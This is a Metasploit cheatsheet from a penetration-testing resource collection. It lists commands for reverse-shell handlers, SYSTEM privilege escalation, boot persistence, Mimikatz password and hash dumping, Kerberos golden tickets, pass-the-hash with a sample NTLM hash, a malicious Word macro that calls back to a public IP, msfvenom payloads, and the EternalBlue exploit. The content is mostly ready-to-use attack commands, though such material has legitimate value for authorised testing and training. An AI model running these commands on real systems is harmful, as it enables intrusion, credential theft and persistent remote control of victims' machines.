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Metasploit Cheatsheet
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Methodology and Resources/Metasploit CheatSheet.md
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Methodology and Resources/Metasploit CheatSheet.md
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# Metasploit
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## Installation
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```powershell
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curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
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```
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or docker
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```powershell
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sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
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```
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## Sessions
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```powershell
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CTRL+Z -> Session in Background
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sessions -> List sessions
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sessions -i session_number -> Interact with Session with id
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sessions -u session_number -> Upgrade session to a meterpreter
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sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
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sessions -c cmd -> Execute a command on several sessions
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sessions -i 10-20 -c "id" -> Execute a command on several sessions
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```
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## Multi/handler in background (screen/tmux)
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ExitOnSession : the handler will not exit if the meterpreter dies.
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```powershell
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screen -dRR
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sudo msfconsole
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use exploit/multi/handler
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set PAYLOAD generic/shell_reverse_tcp
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set LHOST 0.0.0.0
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set LPORT 4444
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set ExitOnSession false
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exploit -j
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[ctrl+a] + [d]
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```
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## Meterpreter - Basic
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### SYSTEM / Administrator privilege
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```powershell
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meterpreter > getsystem
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...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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```
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### Persistence Startup
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```powershell
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OPTIONS:
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-A Automatically start a matching exploit/multi/handler to connect to the agent
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-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
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-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
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-S Automatically start the agent on boot as a service (with SYSTEM privileges)
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-T <opt> Alternate executable template to use
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-U Automatically start the agent when the User logs on
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-X Automatically start the agent when the system boots
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-h This help menu
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-i <opt> The interval in seconds between each connection attempt
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-p <opt> The port on which the system running Metasploit is listening
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-r <opt> The IP of the system running Metasploit listening for the connect back
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meterpreter > run persistence -U -p 4242
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```
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### Portforward
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```powershell
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portfwd add -l 7777 -r 172.17.0.2 -p 3006
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```
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### Upload / Download
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```powershell
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upload /path/in/hdd/payload.exe exploit.exe
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download /path/in/victim
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```
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### Execute from Memory
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```powershell
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execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
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```
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### Mimikatz
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```powershell
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load mimikatz
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mimikatz_command -f version
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mimikatz_command -f samdump::hashes
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mimikatz_command -f sekurlsa::searchPasswords
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```
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```powershell
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load kiwi
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golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
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```
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### Pass the Hash - PSExec
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```powershell
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msf > use exploit/windows/smb/psexec
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msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
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msf exploit(psexec) > exploit
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SMBDomain WORKGROUP no The Windows domain to use for authentication
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SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
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SMBUser Lambda no The username to authenticate as
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```
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## Scripting Metasploit
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Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
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Here is a simple example to script the deployment of a handler an create an Office doc with macro.
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```powershell
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use exploit/multi/handler
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set PAYLOAD windows/meterpreter/reverse_https
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set LHOST 0.0.0.0
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set LPORT 4646
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set ExitOnSession false
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exploit -j -z
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use exploit/multi/fileformat/office_word_macro
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set PAYLOAD windows/meterpreter/reverse_https
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set LHOST 159.65.52.124
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set LPORT 4646
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exploit
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```
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## Multiple transports
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```powershell
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msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
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```
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Then, in AddTransports.ps1
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```powershell
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Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
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Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
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```
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## Best of - Exploits
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* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
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* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
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## Thanks to
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* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
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